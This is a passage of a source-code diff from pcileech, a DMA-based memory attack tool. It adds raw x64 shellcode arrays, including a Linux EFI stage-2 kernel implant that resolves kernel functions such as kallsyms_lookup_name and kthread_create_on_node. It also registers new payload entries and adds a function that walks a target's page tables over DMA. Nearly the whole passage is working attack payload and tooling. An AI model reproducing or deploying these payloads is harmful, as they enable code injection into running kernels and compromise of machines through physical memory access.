- 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48,
- 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xb7, 0xfc, 0xff, 0xff, 0x4c,
- 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75,
- 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53,
- 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x91, 0xfc, 0xff,
- 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,
- 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00,
- 0x00, 0xe8, 0x74, 0xfc, 0xff, 0xff, 0xe9, 0x13, 0xfe, 0xff, 0xff, 0x48,
- 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x41,
- 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xd5,
- 0xe8, 0x51, 0xfc, 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83,
- 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f,
- 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50,
- 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30,
- 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3
+ 0x49, 0x10, 0xe8, 0x8d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e,
+ 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x6d, 0x02,
+ 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x41,
+ 0x8b, 0xd4, 0xe8, 0x61, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x48, 0x85,
+ 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xd7, 0x48, 0x8b,
+ 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xbf, 0xfd, 0xff, 0xff, 0x4c,
+ 0x8b, 0x43, 0x18, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00,
+ 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0x89, 0x43, 0x28, 0xe8, 0x50, 0xfd,
+ 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54,
+ 0x24, 0x30, 0xe8, 0x3f, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03,
+ 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0x48,
+ 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x30, 0x48,
+ 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8,
+ 0x12, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0,
+ 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49, 0x8b, 0x0e, 0xba,
+ 0x64, 0x00, 0x00, 0x00, 0xe8, 0xf5, 0xfc, 0xff, 0xff, 0xeb, 0xb4, 0x48,
+ 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f,
+ 0x84, 0x7e, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x43, 0x48,
+ 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x2d, 0x48,
+ 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x47, 0xfd, 0xff, 0xff, 0x4c,
+ 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33,
+ 0xd2, 0xe8, 0xb0, 0xfc, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f,
+ 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38,
+ 0x00, 0xe8, 0x6d, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00,
+ 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48,
+ 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28,
+ 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49,
+ 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00, 0x00, 0x00, 0x4c,
+ 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x02, 0xfd, 0xff, 0xff, 0x48, 0x8b,
+ 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00,
+ 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24,
+ 0x20, 0xe8, 0x38, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4,
+ 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, 0x75, 0x0b, 0x48,
+ 0x8b, 0x4b, 0x10, 0xe8, 0x72, 0xfc, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b,
+ 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0c, 0xfc,
+ 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x43, 0x4c, 0x8b,
+ 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0x4c, 0x39, 0xa3,
+ 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b,
+ 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xd7, 0xe8, 0xdb,
+ 0xfb, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48, 0x8b, 0x8b, 0x40,
+ 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xc7, 0xfb, 0xff, 0xff, 0x4c,
+ 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83,
+ 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48,
+ 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x20,
+ 0x03, 0x00, 0x00, 0xe8, 0x9a, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38,
+ 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b,
+ 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b,
+ 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0x4c, 0x89,
+ 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x13,
+ 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00,
+ 0x00, 0x00, 0xf0, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43,
+ 0x30, 0x48, 0x8b, 0xd5, 0xe8, 0x45, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x63,
+ 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48,
+ 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c,
+ 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28,
+ 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f,
+ 0xc3
+};
+
+const BYTE LINUX_X64_STAGE2_EFI_BIN[] = {
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00,
+ 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00,
+ 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x49, 0xc7, 0xc3, 0x0e,
+ 0x00, 0x00, 0x00, 0x49, 0xff, 0xcb, 0x58, 0x48, 0x85, 0xc0, 0x74, 0xf7,
+ 0x50, 0x4c, 0x8b, 0xd0, 0x48, 0x8d, 0x05, 0xf9, 0xfe, 0xff, 0xff, 0x42,
+ 0xff, 0x74, 0xd8, 0x08, 0x57, 0x56, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
+ 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xc7,
+ 0xc1, 0x0e, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc9, 0x48, 0x8d, 0x05, 0xd1,
+ 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x14, 0xc8, 0x48, 0x8b, 0x05, 0xbe, 0xfe,
+ 0xff, 0xff, 0x48, 0x89, 0x54, 0xc8, 0x18, 0x48, 0x85, 0xc9, 0x75, 0xe1,
+ 0x49, 0x8b, 0xca, 0xe8, 0x26, 0x00, 0x00, 0x00, 0xe8, 0x76, 0x00, 0x00,
+ 0x00, 0xe8, 0xe3, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,
+ 0x41, 0x5c, 0x5d, 0x5b, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0x5e, 0x5f,
+ 0x58, 0x48, 0x89, 0x05, 0x08, 0xff, 0xff, 0xff, 0xff, 0xe0, 0x48, 0x8d,
+ 0x05, 0xf6, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x28, 0x4c, 0x8b, 0x70, 0x08,
+ 0x4c, 0x8b, 0x78, 0x0e, 0x48, 0xff, 0xc1, 0x48, 0x8b, 0x01, 0x49, 0x3b,
+ 0xc5, 0x75, 0xf5, 0x48, 0x8b, 0x41, 0x08, 0x49, 0x3b, 0xc6, 0x75, 0xec,
+ 0x48, 0x8b, 0x41, 0x0e, 0x49, 0x3b, 0xc7, 0x75, 0xe3, 0x48, 0xff, 0xc1,
+ 0x4c, 0x8b, 0xf9, 0x48, 0xc1, 0xe9, 0x03, 0x48, 0xc1, 0xe1, 0x03, 0x48,
+ 0x83, 0xe9, 0x08, 0x48, 0x8b, 0x01, 0x49, 0x3b, 0xc7, 0x75, 0xf4, 0x48,
+ 0x8b, 0x41, 0xf8, 0x48, 0x89, 0x05, 0x02, 0xff, 0xff, 0xff, 0xc3, 0x41,
+ 0x57, 0x4c, 0x8b, 0x3d, 0xf8, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xea,
+ 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xdf, 0xfe, 0xff,
+ 0xff, 0x48, 0x8d, 0x3d, 0xe2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48,
+ 0x89, 0x05, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xa3, 0x01, 0x00,
+ 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xad, 0xfe, 0xff, 0xff, 0x48,
+ 0x8d, 0x3d, 0xa6, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05,
+ 0x94, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0x6a, 0x01, 0x00, 0x00, 0x41,
+ 0xff, 0xd7, 0x48, 0x89, 0x05, 0x73, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d,
+ 0xab, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0x6a, 0xfe,
+ 0xff, 0xff, 0x41, 0x5f, 0xc3, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00,
+ 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x63, 0xfe, 0xff,
+ 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x01, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8,
+ 0x49, 0x8b, 0xfd, 0xe8, 0xeb, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x4c,
+ 0x89, 0x2d, 0x0e, 0xfe, 0xff, 0xff, 0x4c, 0x89, 0x25, 0x0f, 0xfe, 0xff,
+ 0xff, 0x48, 0x8d, 0x05, 0x9f, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xab,
+ 0x01, 0x00, 0x00, 0x48, 0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x49, 0x03,
+ 0xd4, 0x48, 0x89, 0x10, 0x48, 0x8b, 0x15, 0x2d, 0xfe, 0xff, 0xff, 0x48,
+ 0x83, 0xc2, 0x19, 0x48, 0x8b, 0x0d, 0x1a, 0xfe, 0xff, 0xff, 0x2b, 0xca,
+ 0x48, 0x8d, 0x05, 0x7f, 0x01, 0x00, 0x00, 0x89, 0x08, 0x48, 0x33, 0xc9,
+ 0x4c, 0x8b, 0x05, 0x0d, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x0d, 0x37, 0x01,
+ 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x09, 0x48, 0x83,
+ 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, 0x48, 0x33, 0xc9, 0x4c,
+ 0x8d, 0x05, 0xfa, 0xfd, 0xff, 0xff, 0x49, 0xc1, 0xe8, 0x0c, 0x49, 0xc1,
+ 0xe0, 0x0c, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x21, 0x48, 0x83,
+ 0xc1, 0x08, 0x48, 0x81, 0xf9, 0x00, 0x10, 0x00, 0x00, 0x75, 0xeb, 0x0f,
+ 0x20, 0xc0, 0x4c, 0x8b, 0xf8, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22,
+ 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0xb5, 0xfd, 0xff, 0xff, 0x4c,
+ 0x8d, 0x0d, 0xff, 0x00, 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x09, 0x4a, 0x89,
+ 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee,
+ 0x41, 0x0f, 0x22, 0xc7, 0x44, 0x89, 0x2d, 0xc1, 0xfc, 0xff, 0xff, 0xc3,
+ 0x48, 0x8b, 0x05, 0x71, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x04,
+ 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88,
+ 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdf, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03,
+ 0xc7, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff,
+ 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48,
+ 0x8b, 0xc7, 0xc3, 0x00, 0x6b, 0x61, 0x6c, 0x6c, 0x73, 0x79, 0x6d, 0x73,
+ 0x5f, 0x6c, 0x6f, 0x6f, 0x6b, 0x75, 0x70, 0x5f, 0x6e, 0x61, 0x6d, 0x65,
+ 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65,
+ 0x61, 0x74, 0x65, 0x5f, 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00,
+ 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f,
+ 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x70, 0x61, 0x67, 0x65,
+ 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65,
+ 0x00, 0x76, 0x66, 0x73, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x00, 0x73, 0x65,
+ 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x77,
+ 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65,
+ 0x73, 0x73, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x56, 0x52,
+ 0x51, 0x48, 0xbf, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x57,
+ 0xbe, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x77, 0x77, 0x77, 0x77, 0x41, 0x50,
+ 0x41, 0x51, 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,
+ 0x0f, 0x20, 0xc2, 0x48, 0x8b, 0xc2, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f,
+ 0x22, 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0x70, 0xfc, 0xff, 0xff,
+ 0x4c, 0x8d, 0x0d, 0x9a, 0xff, 0xff, 0xff, 0x4a, 0x8b, 0x04, 0x09, 0x4a,
+ 0x89, 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75,
+ 0xee, 0x0f, 0x22, 0xc2, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x79,
+ 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x05, 0xe8, 0x5a, 0x00,
+ 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0x5b,
+ 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xff, 0x25, 0x26, 0xfc,
+ 0xff, 0xff, 0xeb, 0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48,
+ 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff,
+ 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00,
+ 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b,
+ 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x33, 0xc0, 0xb9, 0x00,
+ 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x48, 0xc7, 0xc7, 0x14,
+ 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15,
+ 0xc0, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x5e, 0xfe, 0xff, 0xff,
+ 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0x48, 0xfe, 0xff, 0xff, 0x4c,
+ 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00,
+ 0xff, 0x15, 0xa2, 0xfb, 0xff, 0xff, 0x49, 0x8b, 0xfc, 0xe8, 0xb1, 0xff,
+ 0xff, 0xff, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef,
+ 0x08, 0x48, 0x8d, 0x05, 0x6a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x04, 0x07,
+ 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03,
+ 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x49, 0x8b, 0xfc,
+ 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x33,
+ 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0x83, 0xfe, 0xff, 0xff,
+ 0xff, 0x15, 0x2e, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x58, 0x48,
+ 0x8b, 0x05, 0x52, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x10, 0x49,
+ 0x8b, 0x7c, 0x24, 0x58, 0xff, 0x15, 0x1a, 0xfb, 0xff, 0xff, 0x44, 0x89,
+ 0x2d, 0x63, 0xfa, 0xff, 0xff, 0xc3
};
const BYTE MACOS_STAGE1_BIN[] = {
@@ -732,9 +881,11 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = {
{.sz = "DEFAULT_WINX64_STAGE1",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)},
{.sz = "DEFAULT_WINX64_STAGE2",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)},
{.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)},
+ {.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)},
{.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)},
{.sz = "DEFAULT_LINUX_X64_STAGE2",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)},
{.sz = "DEFAULT_LINUX_X64_STAGE3",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)},
+ {.sz = "DEFAULT_LINUX_X64_STAGE2_EFI",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN) },
{.sz = "DEFAULT_MACOS_STAGE1",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)},
{.sz = "DEFAULT_MACOS_STAGE2",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)},
{.sz = "DEFAULT_MACOS_STAGE3",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)},
diff --git a/pcileech/util.c b/pcileech/util.c
index cf04085..1f2a4c2 100644
--- a/pcileech/util.c
+++ b/pcileech/util.c
@@ -1,6 +1,6 @@
// util.c : implementation of various utility functions.
//
-// (c) Ulf Frisk, 2016
+// (c) Ulf Frisk, 2016, 2017
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "util.h"
@@ -217,6 +217,88 @@ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi
return FALSE;
}
+BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE)
+{
+ BOOL result, fFirstRun;
+ QWORD PML4[512], PDPT[512], PD[512], PT[512];
+ QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;
+ QWORD qwA;
+ QWORD qwPageTableData;
+ UNREFERENCED_PARAMETER(pCfg);
+ result = DeviceReadMEM(pDeviceData, qwCR3, (PBYTE)PML4, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
+ if(!result) { return FALSE; }
+ qwA = 0;
+ fFirstRun = TRUE;
+ while(qwA || fFirstRun) {
+ fFirstRun = FALSE;
+ if(qwA & 0xffff800000000000) {
+ qwA |= 0xffff800000000000;
+ }
+ if(PML4_idx != (0x1ff & (qwA >> 39))) { // PML4
+ PML4_idx = 0x1ff & (qwA >> 39);
+ qwPageTableData = PML4[PML4_idx];
+ if((qwPageTableData & 0x81) != 0x01) {
+ qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
+ continue;
+ }
+ result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PDPT, 0x1000, 0);
+ if(!result) {
+ qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;
+ continue;
+ }
+ PDPT_idx = 0xfff;
+ PD_idx = 0xfff;
+ PT_idx = 0xfff;
+ }
